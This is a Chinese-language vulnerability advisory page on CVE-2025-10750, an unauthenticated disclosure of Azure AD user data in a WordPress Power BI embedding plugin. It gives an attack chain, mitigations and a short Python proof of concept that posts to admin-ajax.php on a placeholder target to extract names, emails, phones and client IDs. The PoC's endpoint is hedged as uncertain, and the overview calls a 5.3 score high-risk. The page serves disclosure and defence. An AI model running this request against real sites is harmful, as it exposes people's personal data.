IPBUF安全漏洞报告
English
CVE-2025-10750 CVSS 5.3 中危

CVE-2025-10750:WordPress PowerBI Embed Reports插件敏感信息泄露漏洞

披露日期: 2025-10-18

漏洞信息

漏洞编号
CVE-2025-10750
漏洞类型
敏感信息泄露(Sensitive Information Disclosure)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress PowerBI Embed Reports 插件(embed-power-bi-reports)

相关标签

信息泄露WordPressPowerBI Embed Reports敏感数据暴露未认证访问权限绕过Azure ADPII泄露CVE-2025-10750中危漏洞

漏洞概述

CVE-2025-10750是WordPress平台上一款名为PowerBI Embed Reports的插件中存在的高危敏感信息泄露漏洞。该插件用于在WordPress网站中嵌入Microsoft Power BI报表,需要与Azure AD进行OAuth认证集成。该漏洞由Wordfence安全团队的研究员发现并报告,CVSS评分为5.3分,属于中危级别漏洞。

该漏洞的根本原因在于插件在处理'testUser'端点时,未对访问请求进行适当的能力检查(capability check)和身份认证验证。该端点通过mo_epbr_admin_observer()函数暴露,并挂钩在WordPress的'init'钩子上,这意味着任何请求都会触发该函数。

由于缺乏身份验证机制,未认证的攻击者可以直接通过构造特定的HTTP请求访问该端点,从而获取敏感的Azure AD用户信息。这些信息包括但不限于用户的显示名称(displayName)、电子邮件地址(mail)、电话号码(phones)、部门信息(department)等个人身份信息(PII)。此外,攻击者还可以获取详细的OAuth错误数据,包括Azure AD应用程序/客户端ID(Application/Client IDs)、错误代码(error codes)、追踪ID(trace IDs)以及关联ID(correlation IDs)等敏感配置信息。

该漏洞影响该插件所有1.2.0及以下版本,由于利用难度极低(无需认证、无需用户交互),且可以批量自动化利用,对使用该插件的WordPress网站构成了严重的隐私和数据安全威胁。

技术细节

该漏洞的技术原理主要涉及WordPress插件开发中的权限控制缺失问题。具体技术细节如下:

1. **漏洞入口点**:插件通过mo_epbr_admin_observer()函数处理请求,该函数挂钩在WordPress核心的'init'动作钩子上。WordPress的'init'钩子在每次请求时都会触发,包括来自未认证用户的请求。

2. **缺失的权限检查**:在mo_epbr_admin_observer()函数中,插件直接处理'testUser'端点的请求,而没有调用current_user_can()或类似的权限验证函数,也没有检查is_user_logged_in()状态。这导致任何匿名用户都可以访问该功能。

3. **敏感数据暴露**:当攻击者向该端点发送请求时,插件会与Azure AD进行通信以测试用户配置,并将响应数据(包括成功或错误的详细信息)直接返回给请求者。在错误响应中,会泄露Azure AD的应用程序ID、客户端ID、租户ID等敏感配置信息;在成功响应中,会泄露用户的PII信息。

4. **利用方式**:攻击者只需向目标WordPress站点的任意页面发送特定的POST或GET请求,触发'init'钩子,插件便会处理该请求并返回敏感数据。整个攻击过程无需任何认证凭据,且可以通过自动化工具批量执行。

5. **影响范围**:由于该漏洞可以泄露Azure AD的配置信息,攻击者还可以利用这些信息进行进一步的攻击,如OAuth钓鱼、令牌伪造等,从而扩大攻击影响。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎(如Shodan、Censys)或WordPress插件指纹识别工具,定位运行PowerBI Embed Reports插件(版本≤1.2.0)的WordPress网站。
STEP 2
步骤2:构造恶意请求
攻击者构造针对'testUser'端点的HTTP请求,该端点通过mo_epbr_admin_observer()函数暴露,并挂钩在WordPress的'init'钩子上。请求中不需要包含任何认证凭据。
STEP 3
步骤3:发送未认证请求
攻击者使用curl、Python requests或其他HTTP客户端工具,向目标WordPress网站发送未认证的请求。由于缺少权限检查,插件会直接处理该请求。
STEP 4
步骤4:触发Azure AD通信
插件收到请求后,会使用配置中的Azure AD凭据与Microsoft身份平台进行通信,以测试用户配置的有效性。
STEP 5
步骤5:获取敏感信息
无论Azure AD通信成功还是失败,插件都会将详细的响应数据返回给攻击者,包括用户的PII信息(显示名称、邮箱、电话、部门)或Azure AD的配置信息(应用程序ID、客户端ID、错误代码、追踪ID、关联ID)。
STEP 6
步骤6:利用泄露信息
攻击者利用获取的Azure AD配置信息进行进一步攻击,如OAuth钓鱼、令牌伪造或针对Azure AD租户的其他攻击;利用PII信息进行社会工程学攻击或身份盗窃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10750 PoC - PowerBI Embed Reports Sensitive Information Disclosure # This PoC demonstrates how an unauthenticated attacker can access # sensitive Azure AD user information via the 'testUser' endpoint import requests # Target WordPress site URL target_url = "http://target-wordpress-site.com" # The 'testUser' endpoint is triggered via the mo_epbr_admin_observer() # function hooked on 'init', so we can trigger it by sending a request # to any WordPress page with specific parameters # Step 1: Trigger the vulnerable endpoint # The endpoint processes requests via the 'init' hook endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload to trigger the testUser functionality payload = { "action": "mo_epbr_admin_observer", "mo_epbr_action": "testUser", # Additional parameters may be required depending on plugin configuration } # Step 2: Send unauthenticated request response = requests.post(endpoint, data=payload) # Step 3: Extract sensitive information from response if response.status_code == 200: data = response.json() print("[*] Sensitive Information Disclosed:") # PII Information if "displayName" in str(data): print(f" - Display Name: {data.get('displayName', 'N/A')}") if "mail" in str(data): print(f" - Email: {data.get('mail', 'N/A')}") if "phones" in str(data): print(f" - Phone: {data.get('phones', 'N/A')}") if "department" in str(data): print(f" - Department: {data.get('department', 'N/A')}") # Azure AD Configuration if "AppId" in str(data) or "ClientId" in str(data): print(f" - Azure AD App/Client ID: {data.get('AppId', data.get('ClientId', 'N/A'))}") if "error" in str(data): print(f" - Error Code: {data.get('error', 'N/A')}") if "traceId" in str(data): print(f" - Trace ID: {data.get('traceId', 'N/A')}") if "correlationId" in str(data): print(f" - Correlation ID: {data.get('correlationId', 'N/A')}") else: print(f"[-] Request failed with status code: {response.status_code}") # Note: The exact endpoint and parameters may vary. # The vulnerability is in mo_epbr_admin_observer() function # located in Observer/adminObserver.php (line 265 and line 54) # which is triggered on WordPress 'init' hook without authentication checks.

影响范围

PowerBI Embed Reports 插件(embed-power-bi-reports)<= 1.2.0

防御指南

临时缓解措施
在等待官方安全补丁发布期间,建议采取以下临时缓解措施:1)立即禁用PowerBI Embed Reports插件,直到确认漏洞已修复;2)如果业务需要继续使用该插件,可以通过Web应用防火墙(WAF)或.htaccess规则限制对admin-ajax.php和wp-admin目录的访问,仅允许授权IP地址访问;3)在WordPress的functions.php中添加代码,移除或限制init钩子上的mo_epbr_admin_observer函数;4)监控服务器日志,检测是否有针对该漏洞的扫描和利用行为;5)轮换Azure AD相关凭据,防止泄露的凭据被恶意利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表